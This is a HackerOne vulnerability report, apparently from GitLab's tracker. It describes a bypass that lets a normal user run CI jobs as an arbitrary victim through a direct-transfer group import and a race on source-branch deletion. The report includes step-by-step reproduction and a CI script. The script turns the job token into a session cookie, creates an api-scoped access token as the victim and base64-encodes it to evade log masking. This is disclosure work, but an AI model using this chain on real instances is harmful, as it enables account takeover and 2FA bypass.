An attacker can impersonate arbitrary user
HackerOne report #2724948 by yvvdwf
on 2024-09-17, assigned to @ameyadarshan:
Report | Attachments | How To Reproduce
Report
Hi team,
Please find below a bypass of v17.3.2.
Gitlab recently released a patch to execute the environment stop actions as the owner of the environment. Although this patch can perfectly fix the exploitation I used in my previous report, but not this one. I found that this patch forces the environment owner to execute any stop stop actions even they are triggered by other user who clicks on "Stop" button. This fact can allow attacker to hijack arbitrary commands which will be executed by the environment owner.
Furthermore, as Gitlab still allows deleting source branch of a merge request by its author, thus it still can be exploited to execute CI job as arbitrary user.
Indeed, when a branch is deleted Gitlab will refresh any other merge requests which have the same source branch. Basically when a branch is deleted, its merge requests are automatically closed. However these are not successfully closed if user has no permission to do. In such a case, their CI jobs will be created.
### {F3607928} https://gitlab.com/gitlab-org/gitlab/-/blob/master/app/services/merge_requests/refresh_service.rb#L17-52
def refresh_merge_requests!
...
# some merge requests, that are targetted other project in which user has no access, will not be closed
close_upon_missing_source_branch_ref
...
merge_requests_for_source_branch.each do |mr|
...
# we end up here to execute CI jobs
refresh_pipelines_on_merge_requests(mr)
...
end
...
end
In the other hand, Gitlab recently strip out set-cookie
header from dependency_proxy auth response. As this patch ignores the case //v2
which still allows to escalate from CI_JOB_TOKEN to HTTP session. Extracted this bypass to its own issue. See Bypass of #471954 (#494694 - closed).
Reproduce
As Gitlab.com currently disables the direct transfer feature, the following steps are to run in Gitlab self-management instances.
We will show that a normal user (attacker) can impersonate other user (victim). We cannot impersonate the user having root permission of a Gitlab instance, as this user can close any merge request.
To reproduce, we need 2 Gitlab instances:
-
The first Gitlab instance is the main instance.
- Please ensure that this instance has at least one Gitlab runner
- Suppose that this instance is accessible via
http://gl.lo
- Suppose that this instance contains 2 accounts,
attacker
andvictim
. - Suppose that username and ID of victim are
VICTIM
andVICTIM_ID
respectively, we can obtain his email in the following form:VICTIM_ID-VICTIM@users.noreply.gl.lo
(please replaceVICTIM_ID
,VICTIM
andgl.lo
by suitable values)
-
The second Gitlab instance is to create a dummy project which will be imported to the main one. This instance is fully controlled by the attacker (who is a normal user in the first instance) and is accessible via
http://attacker.com
. This instance should be in a server with a public IP though that the main Gitlab instance above can access to.
Step 0. Setup
This step is done in the both Gitlab instances to enable the direct transfer feature:
- login this instance as
root
, - go to
Admin Area
:- go to
Settings / General / Import and export settings
, enableAllow migrating GitLab groups and projects by direct transfer
, then clickSave changes
- go to
Step 1. Prepare
This step is done in the Gitlab self-managed instance which is fully controlled by the attacker and is accessible via http://attacker.com
- login this instance as
root
, - go to
Admin Area / Overview / Users
, then change Administrator's email to the victim's email, e.g.,VICTIM_ID-VICTIM@users.noreply.gl.lo
(please replaceVICTIM_ID
,VICTIM
andgl.lo
with its corresponding values) - go to
Edit Profile
to set this email asPublic email
- create a new group
group-x
, then add a new blank project,test
, within a README:- modify README.md, commit it to a new branch
a
(this name is important, please do not use other), then create a merge request froma
tomain
(please make sureDelete source branch when merge request is accepted.
is checked)
- modify README.md, commit it to a new branch
- go to
Access Tokens
, then create a new personal accessYOUR_API_TOKEN
token withapi
scope
Step 2. Attack
This step is done in the main instance http://gl.lo
- click
+ / New group / Import group
, then fill the form inImport groups by direct transfer
section as below, then clickConnect instance
-
GitLab source instance base URL
is the url of the instance we created in Step 1 -
Personal access token
is the tokenYOUR_API_TOKEN
we created in Step 1
-
- import group
group-x
- after importing successfully, you should see
group-x/test
project which has 1 merge requests created byVICTIM
- note ID of
group-x/test
, e.g.,PROJECT_ID
- open branch
main
, click+ / New file
, then fill the form as below:- Filename:
.gitlab-ci.yml
- Content:
- Filename:
test:
image: ubuntu:20.04
variables:
GIT_STRATEGY: none
script:
- echo hello from $GITLAB_USER_LOGIN
- apt update && apt install -y curl jq coreutils
# obtain JWT token
- 'export TOKEN=$(curl -u gitlab-ci-token:$CI_JOB_TOKEN "$CI_SERVER_URL/jwt/auth?service=dependency_proxy" | jq --raw-output .token )'
# obtain _gitlab_session and store it in /tmp/cookie.txt
- 'curl -c /tmp/cookie.txt -H "Authorization: Bearer $TOKEN" $CI_SERVER_URL//v2'
# obtain CSRF token to perform a POST request
- 'export CSRF=$(curl -b /tmp/cookie.txt $CI_SERVER_URL/-/user_settings/personal_access_tokens | grep csrf-token | cut -d \" -f 4)'
# create a personal token with api scop
- 'curl -b /tmp/cookie.txt -kv -H "X-Csrf-Token: $CSRF" -d "personal_access_token[name]=x&personal_access_token[expires_at]=2024-12-31&personal_access_token[scopes][]=api" $CI_SERVER_URL/-/user_settings/personal_access_tokens | tee /tmp/token.json'
# as token is masked in job trace, but can obtain via other format, such as, base64
- base64 /tmp/token.json
rules:
- if: $GITLAB_USER_LOGIN != "attacker" # please replace your attacker username here
- Target Branch
b
(this name is important, please do not use other) - Uncheck
Start a new merge request with these changes
- Click
Commit change
-
go to
Access Tokens
, then create a new personal access tokenNEW_API_TOKEN
withapi
scope -
Open a terminal in an Ubuntu machine to execute the script in attached file
(this script is basically to recreate the source branch to avoid CI jobs being false. It also create few more merge requests to increase the processing time of
refresh_service
to give a moment to be recreating the source branch):- I need
curl
andjq
, e.g.,sudo apt update && sudo apt install -y curl jq coreutils
- Run the script:
bash ./attack.sh http://gl.lo NEW_API_TOKEN PROJECT_ID
, please replacehttp://gl.lo
,NEW_API_TOKEN
andPROJECT_ID
with appropriated values.
- I need
-
go back to Gitlab, open
Merge requests
ofgroup-x/test
project, clickMerge
button -
after the merge request is merged, you should see pipelines which were triggered by
victim
-
login as
victim
, you should see the token being created byattacker
Please find a demo video in attached file demo-5.mp4
Impact
An attacker can run pipeline jobs as an arbitrary. The attacker can escalate to impersonate victims even their 2FA are activate. Thus it can be also considered as a 2FA bypass.
Personal thoughts
-
As I mentioned early, the root cause is the fact that Gitlab deletes the source branch of a merge request by its author instead of by the person who merged the merge request. I think that, the source branch should be deleted by the latter because he is able to check/unckeck
Delete source branch
option when clicking onMerge
button. -
The recent release, v1.7.3.2, should not execute stop actions as the owner of the stop action jobs when some one clicks on
Stop
environment button. In such a case, the stop action jobs should be executed by the latter. -
I see that, Gitlab already used
skip_around_action :set_session_storage
to excludeset-session
header in any HTTP requests related to git. I think that, the same principle can be applied to the dependency proxy requests.
Impact
An attacker can run pipeline jobs as an arbitrary. The attacker can escalate to impersonate victims even their 2FA are activate. Thus it can be also considered as a 2FA bypass.
Attachments
Warning: Attachments received through HackerOne, please exercise caution!
How To Reproduce
Please add reproducibility information to this section: